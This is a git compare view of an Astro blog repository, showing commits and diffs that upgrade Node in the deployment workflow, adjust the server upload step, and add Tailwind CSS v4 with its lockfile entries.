Compare commits

..

8 Commits

Author SHA1 Message Date
65960f41ba change style of header & download tailwindv4
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 1m19s
2026-05-07 16:39:11 +08:00
701f4700e4 change: src/compoents UI Links
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 1m17s
2026-04-29 14:57:23 +08:00
6837a10f47 upload something new
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 44s
2026-04-22 16:58:59 +08:00
cf7c859d55 fix: use strip_components to avoid nested dist
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 41s
2026-04-22 12:18:51 +08:00
a58d6db78f fix: change value of source again
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 39s
2026-04-22 11:43:24 +08:00
808f328fd0 fix: clean target dir before upload and change the value of source
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 43s
2026-04-22 11:35:59 +08:00
d47d1ae4ef fix: upgrade node to 22
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 42s
2026-04-22 11:04:54 +08:00
ee48fb79fe test cicd
Some checks failed
自动构建并部署Astro博客 / build-and-deploy (push) Failing after 5m14s
2026-04-22 10:44:09 +08:00
20 changed files with 851 additions and 329 deletions

View File

@@ -19,8 +19,9 @@ jobs:
- name: 安装Node.js - name: 安装Node.js
uses: actions/setup-node@v4 uses: actions/setup-node@v4
with: with:
node-version: 20 node-version: 22
cache: 'npm' env:
NODEJS_ORG_MIRROR: https://npmmirror.com/mirrors/node
# 3. 安装依赖 + 打包Astro项目生成dist目录 # 3. 安装依赖 + 打包Astro项目生成dist目录
- name: 安装依赖并构建 - name: 安装依赖并构建
@@ -36,6 +37,7 @@ jobs:
username: ${{ secrets.SERVER_USER }} username: ${{ secrets.SERVER_USER }}
port: ${{ secrets.SERVER_PORT }} port: ${{ secrets.SERVER_PORT }}
key: ${{ secrets.SERVER_SSH_KEY }} key: ${{ secrets.SERVER_SSH_KEY }}
source: "dist/*" source: "dist/"
target: "/var/www/blog/" target: "/var/www/blog/"
overwrite: true overwrite: true
strip_components: 1

Binary file not shown.

View File

@@ -4,10 +4,13 @@ import mdx from '@astrojs/mdx';
import sitemap from '@astrojs/sitemap'; import sitemap from '@astrojs/sitemap';
import { defineConfig, fontProviders } from 'astro/config'; import { defineConfig, fontProviders } from 'astro/config';
import tailwindcss from '@tailwindcss/vite';
// https://astro.build/config // https://astro.build/config
export default defineConfig({ export default defineConfig({
site: 'https://example.com', site: 'https://example.com',
integrations: [mdx(), sitemap()], integrations: [mdx(), sitemap()],
fonts: [ fonts: [
{ {
provider: fontProviders.local(), provider: fontProviders.local(),
@@ -32,4 +35,8 @@ export default defineConfig({
}, },
}, },
], ],
vite: {
plugins: [tailwindcss()],
},
}); });

BIN
dist.zip

Binary file not shown.

621
package-lock.json generated
View File

@@ -11,8 +11,11 @@
"@astrojs/mdx": "^5.0.3", "@astrojs/mdx": "^5.0.3",
"@astrojs/rss": "^4.0.18", "@astrojs/rss": "^4.0.18",
"@astrojs/sitemap": "^3.7.2", "@astrojs/sitemap": "^3.7.2",
"@tailwindcss/vite": "^4.2.4",
"astro": "^6.1.5", "astro": "^6.1.5",
"sharp": "^0.34.3" "lightningcss": "^1.32.0",
"sharp": "^0.34.3",
"tailwindcss": "^4.2.4"
}, },
"engines": { "engines": {
"node": ">=22.12.0" "node": ">=22.12.0"
@@ -1160,12 +1163,51 @@
"url": "https://opencollective.com/libvips" "url": "https://opencollective.com/libvips"
} }
}, },
"node_modules/@jridgewell/gen-mapping": {
"version": "0.3.13",
"resolved": "https://registry.npmmirror.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
"integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
"license": "MIT",
"dependencies": {
"@jridgewell/sourcemap-codec": "^1.5.0",
"@jridgewell/trace-mapping": "^0.3.24"
}
},
"node_modules/@jridgewell/remapping": {
"version": "2.3.5",
"resolved": "https://registry.npmmirror.com/@jridgewell/remapping/-/remapping-2.3.5.tgz",
"integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
"license": "MIT",
"dependencies": {
"@jridgewell/gen-mapping": "^0.3.5",
"@jridgewell/trace-mapping": "^0.3.24"
}
},
"node_modules/@jridgewell/resolve-uri": {
"version": "3.1.2",
"resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
"integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
"license": "MIT",
"engines": {
"node": ">=6.0.0"
}
},
"node_modules/@jridgewell/sourcemap-codec": { "node_modules/@jridgewell/sourcemap-codec": {
"version": "1.5.5", "version": "1.5.5",
"resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
"integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/@jridgewell/trace-mapping": {
"version": "0.3.31",
"resolved": "https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
"integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
"license": "MIT",
"dependencies": {
"@jridgewell/resolve-uri": "^3.1.0",
"@jridgewell/sourcemap-codec": "^1.4.14"
}
},
"node_modules/@mdx-js/mdx": { "node_modules/@mdx-js/mdx": {
"version": "3.1.1", "version": "3.1.1",
"resolved": "https://registry.npmmirror.com/@mdx-js/mdx/-/mdx-3.1.1.tgz", "resolved": "https://registry.npmmirror.com/@mdx-js/mdx/-/mdx-3.1.1.tgz",
@@ -1701,6 +1743,275 @@
"integrity": "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==", "integrity": "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/@tailwindcss/node": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/node/-/node-4.2.4.tgz",
"integrity": "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA==",
"license": "MIT",
"dependencies": {
"@jridgewell/remapping": "^2.3.5",
"enhanced-resolve": "^5.19.0",
"jiti": "^2.6.1",
"lightningcss": "1.32.0",
"magic-string": "^0.30.21",
"source-map-js": "^1.2.1",
"tailwindcss": "4.2.4"
}
},
"node_modules/@tailwindcss/oxide": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide/-/oxide-4.2.4.tgz",
"integrity": "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q==",
"license": "MIT",
"engines": {
"node": ">= 20"
},
"optionalDependencies": {
"@tailwindcss/oxide-android-arm64": "4.2.4",
"@tailwindcss/oxide-darwin-arm64": "4.2.4",
"@tailwindcss/oxide-darwin-x64": "4.2.4",
"@tailwindcss/oxide-freebsd-x64": "4.2.4",
"@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4",
"@tailwindcss/oxide-linux-arm64-gnu": "4.2.4",
"@tailwindcss/oxide-linux-arm64-musl": "4.2.4",
"@tailwindcss/oxide-linux-x64-gnu": "4.2.4",
"@tailwindcss/oxide-linux-x64-musl": "4.2.4",
"@tailwindcss/oxide-wasm32-wasi": "4.2.4",
"@tailwindcss/oxide-win32-arm64-msvc": "4.2.4",
"@tailwindcss/oxide-win32-x64-msvc": "4.2.4"
}
},
"node_modules/@tailwindcss/oxide-android-arm64": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.2.4.tgz",
"integrity": "sha512-e7MOr1SAn9U8KlZzPi1ZXGZHeC5anY36qjNwmZv9pOJ8E4Q6jmD1vyEHkQFmNOIN7twGPEMXRHmitN4zCMN03g==",
"cpu": [
"arm64"
],
"license": "MIT",
"optional": true,
"os": [
"android"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-darwin-arm64": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.2.4.tgz",
"integrity": "sha512-tSC/Kbqpz/5/o/C2sG7QvOxAKqyd10bq+ypZNf+9Fi2TvbVbv1zNpcEptcsU7DPROaSbVgUXmrzKhurFvo5eDg==",
"cpu": [
"arm64"
],
"license": "MIT",
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-darwin-x64": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.2.4.tgz",
"integrity": "sha512-yPyUXn3yO/ufR6+Kzv0t4fCg2qNr90jxXc5QqBpjlPNd0NqyDXcmQb/6weunH/MEDXW5dhyEi+agTDiqa3WsGg==",
"cpu": [
"x64"
],
"license": "MIT",
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-freebsd-x64": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.2.4.tgz",
"integrity": "sha512-BoMIB4vMQtZsXdGLVc2z+P9DbETkiopogfWZKbWwM8b/1Vinbs4YcUwo+kM/KeLkX3Ygrf4/PsRndKaYhS8Eiw==",
"cpu": [
"x64"
],
"license": "MIT",
"optional": true,
"os": [
"freebsd"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.2.4.tgz",
"integrity": "sha512-7pIHBLTHYRAlS7V22JNuTh33yLH4VElwKtB3bwchK/UaKUPpQ0lPQiOWcbm4V3WP2I6fNIJ23vABIvoy2izdwA==",
"cpu": [
"arm"
],
"license": "MIT",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-linux-arm64-gnu": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.2.4.tgz",
"integrity": "sha512-+E4wxJ0ZGOzSH325reXTWB48l42i93kQqMvDyz5gqfRzRZ7faNhnmvlV4EPGJU3QJM/3Ab5jhJ5pCRUsKn6OQw==",
"cpu": [
"arm64"
],
"libc": [
"glibc"
],
"license": "MIT",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-linux-arm64-musl": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.2.4.tgz",
"integrity": "sha512-bBADEGAbo4ASnppIziaQJelekCxdMaxisrk+fB7Thit72IBnALp9K6ffA2G4ruj90G9XRS2VQ6q2bCKbfFV82g==",
"cpu": [
"arm64"
],
"libc": [
"musl"
],
"license": "MIT",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-linux-x64-gnu": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.2.4.tgz",
"integrity": "sha512-7Mx25E4WTfnht0TVRTyC00j3i0M+EeFe7wguMDTlX4mRxafznw0CA8WJkFjWYH5BlgELd1kSjuU2JiPnNZbJDA==",
"cpu": [
"x64"
],
"libc": [
"glibc"
],
"license": "MIT",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-linux-x64-musl": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.2.4.tgz",
"integrity": "sha512-2wwJRF7nyhOR0hhHoChc04xngV3iS+akccHTGtz965FwF0up4b2lOdo6kI1EbDaEXKgvcrFBYcYQQ/rrnWFVfA==",
"cpu": [
"x64"
],
"libc": [
"musl"
],
"license": "MIT",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.2.4.tgz",
"integrity": "sha512-FQsqApeor8Fo6gUEklzmaa9994orJZZDBAlQpK2Mq+DslRKFJeD6AjHpBQ0kZFQohVr8o85PPh8eOy86VlSCmw==",
"bundleDependencies": [
"@napi-rs/wasm-runtime",
"@emnapi/core",
"@emnapi/runtime",
"@tybys/wasm-util",
"@emnapi/wasi-threads",
"tslib"
],
"cpu": [
"wasm32"
],
"license": "MIT",
"optional": true,
"dependencies": {
"@emnapi/core": "^1.8.1",
"@emnapi/runtime": "^1.8.1",
"@emnapi/wasi-threads": "^1.1.0",
"@napi-rs/wasm-runtime": "^1.1.1",
"@tybys/wasm-util": "^0.10.1",
"tslib": "^2.8.1"
},
"engines": {
"node": ">=14.0.0"
}
},
"node_modules/@tailwindcss/oxide-win32-arm64-msvc": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.2.4.tgz",
"integrity": "sha512-L9BXqxC4ToVgwMFqj3pmZRqyHEztulpUJzCxUtLjobMCzTPsGt1Fa9enKbOpY2iIyVtaHNeNvAK8ERP/64sqGQ==",
"cpu": [
"arm64"
],
"license": "MIT",
"optional": true,
"os": [
"win32"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/oxide-win32-x64-msvc": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.2.4.tgz",
"integrity": "sha512-ESlKG0EpVJQwRjXDDa9rLvhEAh0mhP1sF7sap9dNZT0yyl9SAG6T7gdP09EH0vIv0UNTlo6jPWyujD6559fZvw==",
"cpu": [
"x64"
],
"license": "MIT",
"optional": true,
"os": [
"win32"
],
"engines": {
"node": ">= 20"
}
},
"node_modules/@tailwindcss/vite": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/@tailwindcss/vite/-/vite-4.2.4.tgz",
"integrity": "sha512-pCvohwOCspk3ZFn6eJzrrX3g4n2JY73H6MmYC87XfGPyTty4YsCjYTMArRZm/zOI8dIt3+EcrLHAFPe5A4bgtw==",
"license": "MIT",
"dependencies": {
"@tailwindcss/node": "4.2.4",
"@tailwindcss/oxide": "4.2.4",
"tailwindcss": "4.2.4"
},
"peerDependencies": {
"vite": "^5.2.0 || ^6 || ^7 || ^8"
}
},
"node_modules/@types/debug": { "node_modules/@types/debug": {
"version": "4.1.13", "version": "4.1.13",
"resolved": "https://registry.npmmirror.com/@types/debug/-/debug-4.1.13.tgz", "resolved": "https://registry.npmmirror.com/@types/debug/-/debug-4.1.13.tgz",
@@ -2381,6 +2692,19 @@
"node": ">=4" "node": ">=4"
} }
}, },
"node_modules/enhanced-resolve": {
"version": "5.21.0",
"resolved": "https://registry.npmmirror.com/enhanced-resolve/-/enhanced-resolve-5.21.0.tgz",
"integrity": "sha512-otxSQPw4lkOZWkHpB3zaEQs6gWYEsmX4xQF68ElXC/TWvGxGMSGOvoNbaLXm6/cS/fSfHtsEdw90y20PCd+sCA==",
"license": "MIT",
"dependencies": {
"graceful-fs": "^4.2.4",
"tapable": "^2.3.3"
},
"engines": {
"node": ">=10.13.0"
}
},
"node_modules/entities": { "node_modules/entities": {
"version": "6.0.1", "version": "6.0.1",
"resolved": "https://registry.npmmirror.com/entities/-/entities-6.0.1.tgz", "resolved": "https://registry.npmmirror.com/entities/-/entities-6.0.1.tgz",
@@ -2713,6 +3037,12 @@
"integrity": "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==", "integrity": "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==",
"license": "ISC" "license": "ISC"
}, },
"node_modules/graceful-fs": {
"version": "4.2.11",
"resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.11.tgz",
"integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
"license": "ISC"
},
"node_modules/h3": { "node_modules/h3": {
"version": "1.15.11", "version": "1.15.11",
"resolved": "https://registry.npmmirror.com/h3/-/h3-1.15.11.tgz", "resolved": "https://registry.npmmirror.com/h3/-/h3-1.15.11.tgz",
@@ -3103,6 +3433,15 @@
"url": "https://github.com/sponsors/sindresorhus" "url": "https://github.com/sponsors/sindresorhus"
} }
}, },
"node_modules/jiti": {
"version": "2.7.0",
"resolved": "https://registry.npmmirror.com/jiti/-/jiti-2.7.0.tgz",
"integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==",
"license": "MIT",
"bin": {
"jiti": "lib/jiti-cli.mjs"
}
},
"node_modules/js-yaml": { "node_modules/js-yaml": {
"version": "4.1.1", "version": "4.1.1",
"resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-4.1.1.tgz", "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-4.1.1.tgz",
@@ -3115,6 +3454,267 @@
"js-yaml": "bin/js-yaml.js" "js-yaml": "bin/js-yaml.js"
} }
}, },
"node_modules/lightningcss": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss/-/lightningcss-1.32.0.tgz",
"integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==",
"license": "MPL-2.0",
"dependencies": {
"detect-libc": "^2.0.3"
},
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
},
"optionalDependencies": {
"lightningcss-android-arm64": "1.32.0",
"lightningcss-darwin-arm64": "1.32.0",
"lightningcss-darwin-x64": "1.32.0",
"lightningcss-freebsd-x64": "1.32.0",
"lightningcss-linux-arm-gnueabihf": "1.32.0",
"lightningcss-linux-arm64-gnu": "1.32.0",
"lightningcss-linux-arm64-musl": "1.32.0",
"lightningcss-linux-x64-gnu": "1.32.0",
"lightningcss-linux-x64-musl": "1.32.0",
"lightningcss-win32-arm64-msvc": "1.32.0",
"lightningcss-win32-x64-msvc": "1.32.0"
}
},
"node_modules/lightningcss-android-arm64": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz",
"integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==",
"cpu": [
"arm64"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"android"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-darwin-arm64": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz",
"integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==",
"cpu": [
"arm64"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-darwin-x64": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz",
"integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==",
"cpu": [
"x64"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-freebsd-x64": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz",
"integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==",
"cpu": [
"x64"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"freebsd"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-linux-arm-gnueabihf": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz",
"integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==",
"cpu": [
"arm"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-linux-arm64-gnu": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz",
"integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==",
"cpu": [
"arm64"
],
"libc": [
"glibc"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-linux-arm64-musl": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz",
"integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==",
"cpu": [
"arm64"
],
"libc": [
"musl"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-linux-x64-gnu": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz",
"integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==",
"cpu": [
"x64"
],
"libc": [
"glibc"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-linux-x64-musl": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz",
"integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==",
"cpu": [
"x64"
],
"libc": [
"musl"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-win32-arm64-msvc": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz",
"integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==",
"cpu": [
"arm64"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"win32"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/lightningcss-win32-x64-msvc": {
"version": "1.32.0",
"resolved": "https://registry.npmmirror.com/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz",
"integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==",
"cpu": [
"x64"
],
"license": "MPL-2.0",
"optional": true,
"os": [
"win32"
],
"engines": {
"node": ">= 12.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/parcel"
}
},
"node_modules/longest-streak": { "node_modules/longest-streak": {
"version": "3.1.0", "version": "3.1.0",
"resolved": "https://registry.npmmirror.com/longest-streak/-/longest-streak-3.1.0.tgz", "resolved": "https://registry.npmmirror.com/longest-streak/-/longest-streak-3.1.0.tgz",
@@ -5133,6 +5733,25 @@
"url": "https://opencollective.com/svgo" "url": "https://opencollective.com/svgo"
} }
}, },
"node_modules/tailwindcss": {
"version": "4.2.4",
"resolved": "https://registry.npmmirror.com/tailwindcss/-/tailwindcss-4.2.4.tgz",
"integrity": "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA==",
"license": "MIT"
},
"node_modules/tapable": {
"version": "2.3.3",
"resolved": "https://registry.npmmirror.com/tapable/-/tapable-2.3.3.tgz",
"integrity": "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==",
"license": "MIT",
"engines": {
"node": ">=6"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/webpack"
}
},
"node_modules/tiny-inflate": { "node_modules/tiny-inflate": {
"version": "1.0.3", "version": "1.0.3",
"resolved": "https://registry.npmmirror.com/tiny-inflate/-/tiny-inflate-1.0.3.tgz", "resolved": "https://registry.npmmirror.com/tiny-inflate/-/tiny-inflate-1.0.3.tgz",

View File

@@ -15,7 +15,10 @@
"@astrojs/mdx": "^5.0.3", "@astrojs/mdx": "^5.0.3",
"@astrojs/rss": "^4.0.18", "@astrojs/rss": "^4.0.18",
"@astrojs/sitemap": "^3.7.2", "@astrojs/sitemap": "^3.7.2",
"@tailwindcss/vite": "^4.2.4",
"astro": "^6.1.5", "astro": "^6.1.5",
"sharp": "^0.34.3" "lightningcss": "^1.32.0",
"sharp": "^0.34.3",
"tailwindcss": "^4.2.4"
} }
} }

Binary file not shown.

Before

Width:  |  Height:  |  Size: 655 B

After

Width:  |  Height:  |  Size: 15 KiB

View File

@@ -1,9 +1 @@
